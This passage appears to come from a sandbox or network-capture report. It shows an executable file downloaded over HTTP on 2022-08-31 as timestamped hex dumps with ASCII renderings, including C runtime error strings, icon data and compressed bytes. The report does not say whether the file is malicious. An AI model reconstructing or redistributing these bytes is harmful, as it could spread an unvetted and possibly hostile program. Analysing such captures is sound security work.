c2 23 ce 0b c1 3b c2 89 44 24 1c 0f 84 aa 00 00 00 8b d8 e8 0d fe ff ff 0f b7 c0 89 44 24 10 d9 6c 24 10 9b d9 7c 24 10 8b 5c 24 10 33 d2 f6 c3 01 74 03 6a 10 Data Ascii: t;u@@SUVW\|$\$3tjZttt tt#t =t=t;u#t;uftt$(L$$##;D$D$l$\|$\$3tj
2022-08-31 06:34:26 UTC	352	IN	Data Raw: 20 6c 69 62 72 61 72 79 20 69 6e 63 6f 72 72 65 63 74 6c 79 2e 0a 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 74 68 65 20 61 70 70 6c 69 63 61 74 69 6f 6e 27 73 20 73 75 70 70 6f 72 74 20 74 65 61 6d 20 66 6f 72 20 6d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 2e 0d 0a 00 00 00 00 00 00 52 36 30 33 33 0d 0a 2d 20 41 74 74 65 6d 70 74 20 74 6f 20 75 73 65 20 4d 53 49 4c 20 63 6f 64 65 20 66 72 6f 6d 20 74 68 69 73 20 61 73 73 65 6d 62 6c 79 20 64 75 72 69 6e 67 20 6e 61 74 69 76 65 20 63 6f 64 65 20 69 6e 69 74 69 61 6c 69 7a 61 74 69 6f 6e 0a 54 68 69 73 20 69 6e 64 69 63 61 74 65 73 20 61 20 62 75 67 20 69 6e 20 79 6f 75 72 20 61 70 70 6c 69 63 61 74 69 6f 6e 2e 20 49 74 20 69 73 20 6d 6f 73 74 20 6c 69 6b 65 6c 79 20 74 68 65 20 72 65 73 75 6c 74 20 Data Ascii: library incorrectly.Please contact the application's support team for more information.R6033- Attempt to use MSIL code from this assembly during native code initializationThis indicates a bug in your application. It is most likely the result
2022-08-31 06:34:26 UTC	356	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 68 00 28 00 28 00 28 00 28 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 48 Data Ascii: h(((( H
2022-08-31 06:34:26 UTC	360	IN	Data Raw: 06 01 00 fa 06 01 00 08 07 01 00 16 07 01 00 2e 07 01 00 46 07 01 00 5e 07 01 00 6e 07 01 00 7c 07 01 00 90 07 01 00 9e 07 01 00 aa 07 01 00 ba 07 01 00 d0 07 01 00 e6 07 01 00 00 08 01 00 18 08 01 00 32 08 01 00 4c 08 01 00 5e 08 01 00 70 08 01 00 82 08 01 00 90 08 01 00 a2 08 01 00 b0 08 01 00 bc 08 01 00 ca 08 01 00 d4 08 01 00 ec 08 01 00 fc 08 01 00 12 09 01 00 2a 09 01 00 44 09 01 00 54 09 01 00 6a 09 01 00 84 09 01 00 a0 09 01 00 a8 09 01 00 b4 09 01 00 c0 09 01 00 ca 09 01 00 d6 09 01 00 ec 09 01 00 02 0a 01 00 12 0a 01 00 24 0a 01 00 38 0a 01 00 48 0a 01 00 58 0a 01 00 6a 0a 01 00 7c 0a 01 00 00 00 00 00 18 00 00 80 17 00 00 80 13 00 00 80 14 00 00 80 11 00 00 80 0a 00 00 80 09 00 00 80 08 00 00 80 96 00 00 80 95 00 00 80 02 00 00 80 06 00 00 80 Data Ascii: .F^n\|2L^p*DTj$8HXj\|
2022-08-31 06:34:26 UTC	364	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e2 40 00 f8 e1 40 00 d8 e1 40 00 00 00 00 00 65 46 40 00 00 00 00 00 02 00 00 00 b8 e7 40 00 08 00 00 00 8c e7 40 00 09 00 00 00 60 e7 40 00 0a 00 00 00 c8 e6 40 00 10 00 00 00 9c e6 40 00 11 00 00 00 6c e6 40 00 12 00 00 00 48 e6 40 00 13 00 00 00 1c e6 40 00 18 00 00 00 e4 Data Ascii: @@@eF@@@`@@@l@H@@
2022-08-31 06:34:26 UTC	366	IN	Data Raw: 38 30 30 30 0d 0a 00 00 00 00 00 00 00 00 00 00 50 f2 40 00 52 f4 40 00 80 fa 40 00 7c fa 40 00 78 fa 40 00 74 fa 40 00 70 fa 40 00 6c fa 40 00 68 fa 40 00 60 fa 40 00 58 fa 40 00 50 fa 40 00 44 fa 40 00 38 fa 40 00 30 fa 40 00 24 fa 40 00 20 fa 40 00 1c fa 40 00 18 fa 40 00 14 fa 40 00 10 fa 40 00 0c fa 40 00 08 fa 40 00 04 fa 40 00 00 fa 40 00 fc f9 40 00 f8 f9 40 00 f4 f9 40 00 ec f9 40 00 e0 f9 40 00 d8 f9 40 00 d0 f9 40 00 10 fa 40 00 c8 f9 40 00 c0 f9 40 00 b8 f9 40 00 ac f9 40 00 a4 f9 40 00 98 f9 40 00 8c f9 40 00 88 f9 40 00 84 f9 40 00 78 f9 40 00 64 f9 40 00 58 f9 40 00 09 04 00 00 01 00 00 00 00 00 00 00 28 1d 41 00 2e 00 00 00 e4 1d 41 00 f8 2d 41 00 f8 2d 41 00 f8 2d 41 00 f8 2d 41 00 f8 2d 41 00 f8 2d 41 00 f8 2d 41 00 f8 2d 41 00 f8 2d 41 Data Ascii: 8000P@R@@\|@x@t@p@l@h@`@X@P@D@8@0@$@ @@@@@@@@@@@@@@@@@@@@@@@@@@x@d@X@(A.A-A-A-A-A-A-A-A-A-A
2022-08-31 06:34:26 UTC	370	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
2022-08-31 06:34:26 UTC	375	IN	Data Raw: 87 f8 87 ff 98 93 90 00 00 00 00 00 03 ff 89 ff 37 97 90 00 00 00 00 00 08 ff 98 39 98 99 70 00 00 00 00 00 08 7b 77 88 88 89 30 00 00 00 00 00 08 88 88 9b 99 87 90 00 00 00 00 00 00 88 b8 77 7b 98 80 00 00 00 00 00 00 08 79 b9 79 79 80 00 00 00 00 00 00 00 08 78 80 00 00 00 00 00 ff ff bf 00 ff f8 0f 00 ff c0 07 00 f8 c0 03 00 80 00 03 00 00 00 03 00 00 00 03 00 00 00 03 00 00 00 03 00 00 00 03 00 00 00 03 00 00 00 03 00 00 00 07 00 00 00 3f 00 80 00 7f 00 c0 00 7f 00 f0 00 7f 00 f8 00 7f 00 f8 00 7f 00 f8 00 7f 00 f8 00 7f 00 fc 00 7f 00 fe 00 7f 00 ff 87 ff 00 28 00 00 00 10 00 00 00 20 00 00 00 01 00 04 00 00 00 00 00 80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 80 00 00 00 80 80 00 80 00 00 00 80 00 80 00 80 Data Ascii: 79p{w0w{yyyx?(
2022-08-31 06:34:26 UTC	379	IN	Data Raw: 00 ff ff e1 ff ff ff 00 00 28 00 00 00 20 00 00 00 40 00 00 00 01 00 08 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 01 00 00 00 00 00 00 7e 3d 07 00 44 2d 33 00 1a 5b 36 00 1b 5e 39 00 1d 62 3d 00 26 60 3e 00 5b 41 3c 00 7f 53 28 00 29 22 54 00 3e 35 5d 00 17 1e 7d 00 1e 66 40 00 1f 68 42 00 20 6b 45 00 22 6e 48 00 23 73 4c 00 25 77 50 00 26 7a 52 00 28 7e 57 00 38 73 53 00 3b 7a 59 00 29 76 66 00 31 69 78 00 84 44 0b 00 89 46 0b 00 8c 4c 10 00 8e 50 15 00 92 53 15 00 92 55 19 00 95 59 1a 00 99 5d 1e 00 98 5e 22 00 9c 63 22 00 9c 6b 2e 00 9d 6b 3c 00 a0 69 26 00 a2 6c 2a 00 a5 71 2d 00 a1 6f 33 00 a4 6f 3b 00 a4 74 32 00 a9 76 33 00 aa 78 32 00 a5 74 3c 00 a8 75 39 00 ac 7e 3a 00 9e 73 40 00 a9 77 41 00 ac 7b 46 00 2a 83 5b 00 27 89 Data Ascii: ( @~=D-3[6^9b=&`>[A<S()"T>5]}f@hB kE"nH#sL%wP&zR(~W8sS;zY)vf1ixDFLPSUY]^"c"k.k<i&lq-o3o;t2v3x2t<u9~:s@wA{F['
2022-08-31 06:34:26 UTC	383	IN	Data Raw: 8a a9 70 00 c2 99 49 00 c4 9f 57 00 d2 ab 59 00 c5 9f 60 00 c8 a7 72 00 ca ab 7b 00 de bc 7a 00 f1 d0 7f 00 0a 17 8e 00 03 14 a9 00 09 1a b6 00 11 20 b2 00 15 26 bd 00 18 27 ba 00 1a 25 bf 00 2e 39 b7 00 52 6f 90 00 6b 6d 9e 00 4b 4e ab 00 15 27 c7 00 1d 2d c1 00 22 33 c6 00 32 3e c6 00 24 3b e2 00 2f 40 cf 00 35 42 c0 00 35 44 cb 00 39 44 c8 00 3d 49 d2 00 39 59 e0 00 3e 5a e2 00 4f 5c c3 00 46 5a dc 00 50 5e d5 00 4f 6d c5 00 57 64 d3 00 52 65 df 00 5c 69 d8 00 62 70 dd 00 46 5b e1 00 41 62 e5 00 47 68 e6 00 4f 76 e9 00 57 7d ea 00 4b 90 81 00 48 aa 84 00 5c a1 84 00 5b b5 93 00 5c bd 98 00 61 a5 88 00 5c cd 9d 00 6e c6 a6 00 72 ce af 00 79 d6 b6 00 7b db b2 00 5e 95 f1 00 62 8d ed 00 7a 85 e6 00 79 8b eb 00 7e 8c ea 00 77 8d f4 00 6e 98 f0 00 70 93 fb Data Ascii: pIWY`r{z &'%.9RokmKN'-"32>$;/@5B5D9D=I9Y>ZO\FZP^OmWdRe\ibpF[AbGhOvW}KH\[\a\nry{^bzy~wnp
2022-08-31 06:34:26 UTC	387	IN	Data Raw: 41 00 49 5e 62 10 3c 47 20 0c 41 a6 41 43 84 73 88 d3 92 e1 ea 03 7e 31 66 00 05 60 23 f5 fb 62 14 49 40 05 24 c3 d9 21 c6 03 90 2a 88 ad c6 03 1a 4d d8 5d 97 a1 d7 9c 0a 56 3f 3e 67 31 0a f0 f1 e5 aa 7e 1f 37 56 00 03 d3 8e 23 00 6c 9e 05 dc 33 b1 33 37 e7 40 cd 59 a0 35 0b 63 9a a0 fe 06 d0 6b 7b 42 a0 1e 3c f0 b4 94 d7 96 9f ad 38 4f dc 61 15 60 03 a4 b4 5b 90 2b 01 13 7c 75 76 17 e0 41 0f 8a fe bb 09 16 5a 07 02 2d a2 1b 62 a2 0b 11 5d 03 00 42 1a 80 04 05 73 5f 1e 51 bd c8 1a 1e 3d 00 54 dd 10 8b 2e 2e 05 20 f2 5e b4 c1 a8 a0 a0 c4 18 30 9c 04 2c 60 17 96 50 ce ec c2 66 b7 0f 0a 56 1f 03 c1 1e 01 3f 88 0c 40 63 02 18 94 76 1e 01 f0 8b 30 08 20 38 a0 b3 02 b4 cf 01 ec 8f 37 e7 40 ad 19 98 e6 3c cc 64 03 e8 6d 80 7a 41 21 10 01 a6 14 e0 cb c4 a0 dc fa Data Ascii: AI^b<G AACs~1f`#bI@$!*M]V?>g1~7V#l337@Y5ck{B<8Oa`[+\|uvAZ-b]Bs_Q=T.. ^0,`PfV?@cv0 87@<dmzA!
2022-08-31 06:34:26 UTC	391	IN	Data Raw: 59 7f 29 a7 67 fd 31 38 5d dc 9e 07 01 a3 c5 07 92 38 c0 00 f0 13 51 e0 dc a8 66 12 e0 53 9a 87 02 be 2f cb ec 40 71 db d8 fa 6f 29 ed 48 02 a8 80 4e 0f cd 69 45 00 d5 e7 2e 35 59 0b 3a 7c f5 e8 88 bf 6a 53 45 19 84 9f 7d d9 31 98 66 2b b6 a7 28 30 b9 ff 10 0e ec 3f 84 03 df f3 36 00 40 6f f5 02 56 bf fc 10 ce fd fd c7 71 ea 83 7f 84 e6 c6 1a a6 a6 66 30 33 3b 9f 10 4c 04 5f fd 9c 7a 72 25 a8 d7 f3 5f f4 31 16 ae d7 0f ed e2 f2 e9 63 bb 7a ba 6e e5 d1 dc 0a a1 51 06 56 84 38 04 af c9 2c 7e 58 e6 3c df ab 8a 02 90 6a 23 f0 a5 fc 38 d5 a6 1d 47 00 c4 88 ce 3b 4b 45 19 c8 1e 23 95 40 7f 63 1d 8d e9 99 81 db 0f de f4 2e f4 ff e6 f7 d1 68 34 c4 9a eb 27 fe 12 f2 19 10 f1 5f 3f 7f 01 47 7f e9 97 47 b6 a5 39 3b 87 5d d7 be 16 bb ae 7d 2d 5e fc 53 b7 82 5c 89 8d Data Ascii: Y)g18]8QfS/@qo)HNiE.5Y:\|jSE}1f+(0?6@oVqf03;L_zr%_1cznQV8,~X<j#8G;KE#@c.h4'_?GG9;]}-^S\
2022-08-31 06:34:26 UTC	395	IN	Data Raw: a0 0b 3d f3 28 ca 93 9d 08 56 d5 ae 8b 09 02 f2 8b 4b ea 01 9b 02 34 1c 04 3a 5e a0 ec b3 20 6b 3b be ee a3 2d 38 5f bc 78 4a 29 a1 10 d2 ba f4 f9 00 4c d8 29 71 8c 49 60 70 7a d6 04 f0 a1 87 7f fe d6 f9 d6 15 b7 4f 14 b3 8b 04 07 47 2e f5 e7 83 d5 07 d4 78 b9 6c 27 b5 dd 88 2f 6f 8d 81 4b a6 00 eb 98 01 10 e5 39 f9 d9 82 44 32 ce ef a7 0f c3 3b bc ce 82 8c 0b 84 43 a0 cd 8d 14 fc 0c 5a 6d f5 5d ec eb 7c 28 37 92 00 4c 04 3f 8f 28 a8 39 fe 38 d3 83 5b 79 1c b4 78 c5 25 5d e3 f6 5f fe 67 b8 9e 7a 05 b7 76 59 ec 16 da c7 cd b4 88 e0 67 cb ad c0 9f 5a fd 00 50 06 98 90 da 25 5a 7f 9f d1 4b 19 69 40 ed 1b 16 b9 ca 84 58 eb 49 24 06 02 f9 18 91 44 c6 14 30 38 5d 32 01 dc f1 f0 cf 1e 59 98 38 72 7c aa b1 eb 7a 03 03 47 0e 31 a8 67 60 61 bc 0a 20 03 18 0b 42 19 Data Ascii: =(VK4:^ k;-8_xJ)L)qI`pzOG.xl'/oK9D2;CZm]\|(7L?(98[yx%]_gzvYgZP%ZKi@XI$D08]2Y8r\|zG1g`a B
2022-08-31 06:34:26 UTC	398	IN	Data Raw: 38 30 30 30 0d 0a 89 ea 80 dd 14 16 02 71 76 5f 0a 00 01 3c 9f f8 50 f0 fb 56 e9 eb a4 3b be 58 bf cc 72 5d 32 f8 f9 56 a8 fa aa 75 5f 0c f8 d5 35 e0 d6 d6 81 9f b7 86 f5 b1 6c 3c 7f de 10 2d 6e 4d 9b 29 dd 57 d7 9d 10 07 1f 1b 7c ad f9 7e a4 d7 3b b6 45 fd 48 2e 3d 00 c2 67 67 2e c7 f2 4b de 86 cd 99 5d 68 d8 02 a6 30 55 02 b0 f6 98 b1 f6 98 29 ec 6d c6 5a bc ec 9f bd f7 84 29 cc b2 b5 76 d9 18 bb fc e0 6f fe 8b 6f 7a 42 68 48 9f 0d 29 f6 e1 94 08 6a 89 82 1c fa d4 57 a0 31 30 a6 81 c2 34 60 4d 13 20 8b 02 93 b0 34 01 87 1e c8 94 30 e8 05 b7 c1 03 5f 02 82 1c d4 43 1c ea e3 61 3c 8e 1d 10 41 05 21 63 de 2b 7e 0f 7a 3f d9 c8 2f fb fa 08 f2 50 00 13 45 dd 3b 00 ea 22 fe 79 07 dc 12 58 33 e0 6a f2 00 54 3e 82 15 ea 3a 0b 94 24 1f c9 a3 f2 11 0f ee f5 0c 28 Data Ascii: 8000qv_<PV;Xr]2Vu_5l<-nM)W\|~;EH.=gg.K]h0U)mZ)voozBhH)jW104`M 40_Ca<A!c+~z?/PE;"yX3jT>:$(
2022-08-31 06:34:26 UTC	402	IN	Data Raw: fa b9 da 7c 3a 59 85 eb b3 06 28 0a 93 58 7e be ad f1 3b 86 94 de 67 03 e9 10 fd 09 83 53 97 4f e0 d4 e5 2d 9c 08 d7 74 f7 49 4f 06 97 9d ea 62 ff a9 9e b7 43 03 81 9b 12 57 3d 11 08 53 a7 79 ee 94 aa 0e a8 f3 8d f7 5d 76 8e f7 31 94 95 d5 d2 2e 65 42 c2 31 3a 44 f8 84 9d c3 dd c7 de 89 fe be 97 f8 97 74 04 c0 c7 79 fb d9 b3 f9 21 8f 24 c8 87 64 2c 3f 06 f5 10 f3 80 cc e2 63 eb 0d 40 3d 1b a6 3d 76 76 15 52 30 44 37 9d d4 0a c0 1a 2b d7 1f 5c 57 85 04 6a ee 77 28 9b 93 40 be cf e2 44 13 8b e1 a3 2d dd 7e 99 80 bc 74 31 80 1d f3 ce 0b b2 6d 48 32 0a a0 c1 2e b7 52 81 9b 01 58 8d f8 6b eb 18 3b 13 74 99 3a f0 27 a4 01 0c 8a f8 6b e0 27 e0 17 50 a6 60 17 35 51 17 f1 e7 fa 87 90 80 1c 43 03 de a9 f5 e1 e7 25 ab a9 b7 f8 26 ed 05 f2 e6 72 62 d7 91 42 5e 81 0c Data Ascii: \|:Y(X~;gSO-tIObCW=Sy]v1.eB1:Dty!$d,?c@==vvR0D7+\Wjw(@D-~t1mH2.RXk;t:'k'P`5QC%&rbB^
2022-08-31 06:34:26 UTC	407	IN	Data Raw: 7d 7d 2b fe f4 12 0f 9e 05 00 18 44 bf c3 c7 1f c5 3b 6f b8 0e 7b 2e fe 76 7c d3 0b be 15 bb 77 9e 87 fa 58 7d 60 e5 8b eb c3 4e 5f 07 a8 90 88 e1 72 5f a1 67 a7 db 46 ab dd 40 bb db 42 b7 db 4d 26 ae 3e 5f b6 09 ce 40 0c fb b2 ac 3c 8d f2 d3 e5 f2 e3 6f f5 2d 13 8c f5 81 96 e1 07 53 df 77 e0 14 c0 e8 e8 e4 f9 83 08 64 1e 80 b4 ed 9b 4a 64 17 24 b6 13 7e 74 89 09 c5 ea a7 fb 65 62 90 44 3d e9 50 3a 32 17 c1 4a 17 58 6e 76 20 4b 2d 64 00 26 ea 35 6c ae 8f e1 9c c9 31 d4 a6 c6 d1 e8 0a 96 3b c5 2c 61 b5 9d 17 23 79 4e c0 2f 7d c0 bf 0d f0 93 7b a9 01 c8 69 f4 2f 6f 11 16 84 eb fb 19 c9 28 67 01 13 b5 0c bb 27 ea d8 32 36 86 46 bb 8d 66 ab 5b 2e f2 55 9d df a7 6f f1 75 03 52 d5 dd 7c 11 e8 cd 82 60 01 7e 7d 43 9b bf 5d 7d 03 8a 7a 2c 78 d5 77 a4 5e e2 a1 02 Data Ascii: }}+D;o{.v\|wX}`N_r_gF@BM&>_@<o-SwdJd$~tebD=P:2JXnv K-d&5l1;,a#yN/}{i/o(g'26Ff[.UouR\|`~}C]}z,xw^
2022-08-31 06:34:26 UTC	411	IN	Data Raw: 8a 17 5f 00 00 78 0b 80 a5 d5 16 ee 79 e8 08 3e f5 c5 87 f1 d1 7f 3b 80 33 ce d9 81 99 d9 a9 78 60 31 80 0d b6 88 9a 62 2b b0 89 84 07 c9 e4 a2 81 2b 82 76 37 47 b3 dd c5 14 cb 15 3d bb e0 17 c8 ea 1f 13 c1 f4 1b f2 21 10 a7 50 1e 50 7a f1 7e aa 54 33 20 15 27 25 35 60 8d a8 64 bd a5 ee 3a c8 a5 8b c5 d5 23 58 69 9d 22 03 b4 c3 61 83 e3 19 0b 41 51 29 1f bd 96 0f f0 c4 82 f2 49 ad 9c 70 5e 7e e2 ae be 56 bb 81 a6 ac 62 69 f5 54 3a 79 7b ed f3 40 58 1b 59 58 59 39 1d 03 96 0b 67 03 07 be 6c 63 db 71 5b e5 eb 5e c0 83 16 e0 93 50 54 5f ba bf b2 ce 8d 3c 9c bc 1c 67 15 5f f8 78 ea 6d c1 43 f7 3f 86 97 9c b1 15 1f f9 ad ef c3 a6 89 c1 1f e3 ce 65 7a f3 04 ae ba ec 5c 5c 75 d9 b9 78 f3 4f bf 0c 8f 1c 3e 85 8f dd f6 00 de f7 e9 af e0 ac f3 cf c0 e6 2d 13 3a 0f Data Ascii: _xy>;3x`1b++v7G=!PPz~T3 '%5`d:#Xi"aAQ)Ip^~VbiT:y{@XYXY9glcq[^PT_<g_xmC?ez\\uxO>-:
2022-08-31 06:34:26 UTC	415	IN	Data Raw: 71 4c 25 64 af cf 95 17 ce a1 db e5 24 2e 63 e5 d2 3e 01 92 b8 9d 8e af 4a 7c 01 7b 5d 11 5e c8 0b 1b 1f ee cf f5 af e3 a3 c8 42 c9 d3 c7 f8 7a 43 09 c1 fd 21 18 9c 1f de 9d 2a 46 29 9d e8 c3 92 85 a4 5b 7f 30 06 d6 51 ea c1 b9 ce 31 21 68 f1 74 48 48 d9 d8 69 d5 e0 ea 57 67 f6 39 8d 92 c7 f5 92 55 0d d8 fe ed 31 04 59 e4 51 02 2a 17 51 30 c3 97 e0 3b 2f d7 25 b2 ca 01 0a 38 b1 3c db a0 f8 c3 26 3e 6f 8b 60 a5 d5 c1 f1 e5 06 56 5a ee 9d 0f 65 1b 6a 1b 04 06 70 1c 5a 68 a2 d3 95 81 1e 04 fa a2 b3 b7 a3 9b e7 c8 6a 35 25 4f cf 6e 18 b4 9a 08 19 84 ba 1d 01 4c d5 91 ee 5e e7 d0 ce f7 61 62 04 ee d7 b9 91 62 c2 f1 e2 ff e1 e2 92 02 61 64 9f e9 33 1c ad fa 08 54 51 6a e4 74 53 f2 49 1e f7 ef 95 5f 7f a9 39 eb 39 69 78 0a 05 0c 08 62 04 03 7a 02 7c a0 05 c1 5e Data Ascii: qL%d$.c>J\|{]^BzC!F)[0Q1!htHHiWg9U1YQQ0;/%8<&>o`VZejpZhj5%OnL^abbad3TQjtSI_99ixbz\|^
2022-08-31 06:34:26 UTC	419	IN	Data Raw: b2 dc 7b d3 d1 5b 44 8e dc 0a 60 2c cb b2 e6 53 ad 8f 06 36 a2 cc f3 40 f7 d3 d4 78 94 54 c0 ea 31 9a 06 19 31 e0 14 50 54 5f e9 73 59 d7 ce f7 1c b5 63 99 34 e6 46 fd 19 9d 41 f4 94 00 6d 7c 8c 95 45 3e 24 22 09 ee 66 58 b3 cf ac 6c 4b 62 04 6c 1a fd bd be 9e 3c f4 4c 40 80 3b 91 65 fb f2 3b de 7e 5a 4e 2f 47 04 b0 86 92 65 59 07 c5 0d 17 4f 79 61 b0 85 29 26 14 30 5d c2 45 d3 67 4a ee ca 69 b6 04 90 26 01 c7 a0 85 ee 2b 80 c9 80 d6 e9 ad 46 3d 92 e3 c0 02 22 09 43 0c 11 b8 a9 9d 05 36 f7 a1 26 f0 34 7a eb 69 3d d9 ec c4 54 8d fe 86 30 18 d8 fe 9b f0 36 f9 35 49 1c be 7e 1e c0 f5 dd ff f7 87 eb ff bd 48 8f 32 22 80 67 7a e1 e4 34 60 e1 6c 8c 00 20 f1 28 99 3e 67 0f f2 34 08 08 8c ae 67 92 a3 08 c4 b4 8b 09 24 7c 57 a0 34 c4 10 8d aa 4e 1e a8 0f 26 10 06 Data Ascii: {[D`,S6@xT11PT_sYc4FAm\|E>$"fXlKbl<L@;e;~ZN/GeYOya)&0]EgJi&+F="C6&4zi=T065I~H2"gz4`l (>g4g$\|W4N&
2022-08-31 06:34:26 UTC	423	IN	Data Raw: ae df 17 d0 eb df 38 d5 a7 31 01 a8 d4 bb e7 df bf 1b 53 fb 6e 87 b1 3e d2 2e f2 3d 82 d7 14 61 b9 f4 d6 3f 05 b6 96 e4 46 80 19 7d 7c 13 83 7a d6 04 ab 1d b6 5b f2 f5 3a 13 ad 6f e2 6e 84 46 b2 ab c1 c1 47 20 ba 0a d6 2b 01 00 4a 85 20 b6 9f 7d 7d b1 ee f0 c7 75 80 46 95 27 0e 41 bd 27 17 44 f5 91 04 05 39 1e a1 c2 f4 ca 28 47 d3 3f 88 04 6a b4 bc 51 87 4e a3 8e ba 90 ff c7 ce 2d a2 bf b4 07 bd 6e 17 a4 24 ff 98 00 b6 96 c6 04 00 a0 7f cf bf bb 0e d3 07 de 83 e6 f4 31 19 be 53 72 5f 82 7a 46 49 ff 10 e0 d3 db b4 e4 4f f6 61 52 08 d6 de fb f7 4a 39 04 40 26 eb 09 a2 28 64 1b 00 19 59 50 40 8c b2 5e 69 6d 26 0a 20 ae 17 80 2b a5 a0 eb 56 b2 5e e9 0b 28 1a 09 d6 bd 86 04 d8 6c 33 d1 e4 f1 80 8b 18 19 48 d2 00 57 c0 4c 4c 82 76 ed 43 c7 36 e0 3a 5d 50 50 6b Data Ascii: 81Sn>.=a?F}\|z[:onFG +J }}uF'A'D9(G?jQN-n$1Sr_zFIOaRJ9@&(dYP@^im& +V^(l3HWLLvC6:]PPk
2022-08-31 06:34:26 UTC	427	IN	Data Raw: 23 40 d5 89 7a ff 7f 20 f0 15 29 88 9c cf 86 f3 14 a9 44 f9 5f 05 be 23 7d 9d 52 69 ef 93 ba 9e 1c da 64 92 93 22 63 12 18 94 76 1c 01 a4 41 3f 64 c0 8f db 89 28 7e 41 5b a5 a9 cb f6 e3 d0 9b 6f c4 a1 37 df 08 00 28 37 37 71 e1 e1 2f e2 cc 03 27 70 fa 23 7f 01 bb f6 34 76 bf f8 30 e6 f7 ef 45 73 62 22 93 ac 48 3a 32 1f b7 1e e8 55 65 71 c9 11 7f 06 bb 22 02 42 0e 2c a4 a4 a8 02 85 31 e0 57 46 b5 20 c1 bb cc a2 bb dc bf 4f d5 00 c4 e2 23 b1 f4 e9 76 bf ce 25 44 1d dd 17 0a 60 17 65 a0 2c 7e 4a 04 61 bf 6f 40 bf 7a a1 a6 1d 47 00 da ca 4b 87 1b 14 f1 df 82 e5 28 26 27 b1 f4 aa 63 58 7a d5 31 5c f9 c3 b7 00 00 da 4f 9f c4 b9 fb 4f e0 91 ff f4 6f f1 d2 1b be 7d 40 c4 5f 81 3f e9 fc a8 00 21 b7 ec 49 10 2f 07 7f 1e 1f a8 b3 ee 59 bd 0c f8 34 00 a8 c0 0f f6 dd Data Ascii: #@z )D_#}Rid"cvA?d(~A[o7(77q/'p#4v0Esb"H:2Ueq"B,1WF O#v%D`e,~Jao@zGK(&'cXz1\OOo}@_?!I/Y4
2022-08-31 06:34:26 UTC	430	IN	Data Raw: 37 66 66 38 0d 0a 0c b9 64 f8 4b f5 2e 24 11 7f 1d 14 4c 9e d7 17 36 18 9e 42 7d 6e 63 1d e5 bd 0f 81 6e e9 01 43 dc 80 62 71 2f da a6 83 06 4d cb fb fc 00 60 73 a1 85 89 cb af 1a 69 b5 4e bf ef ff 46 93 2f cd 16 2d 9c 31 39 68 49 e5 e3 b9 3a 95 57 70 86 94 a4 64 09 ea 9f 98 a5 67 37 df bf 8e 44 18 f5 75 6e 80 d4 ae db c2 24 32 66 81 81 e9 79 a5 00 7e ff d3 3f fa ee 99 c9 bd 27 26 1a b3 c7 8c b1 c1 9a 07 eb 6d 10 a4 7e b0 ee 56 4c 3b 0c a2 e5 07 20 6e 80 09 ff ca b6 1c fc ea a7 e3 00 11 f4 46 ef 32 f0 07 63 50 ae 9c 43 ef a9 af a2 3c 73 0a 93 ce a2 fd e8 e7 47 ee b7 f4 ae 9f 49 5e 3e 42 44 98 ff fe 1f 1c b9 5f ff 99 27 d1 78 a6 0d 80 60 ac dd ba 00 b0 16 a9 d5 47 a2 00 00 aa 4a 76 39 c9 08 fc 2d 59 7f ae 87 8b e5 16 1f 59 3e ec 4f 59 7d f1 30 a9 02 48 81 Data Ascii: 7ff8dK.$L6B}ncnCbq/M`siNF/-19hI:Wpdg7Dun$2fy~?'&m~VL; nF2cPC<sGI^>BD_'x`GJv9-YY>OY}0H
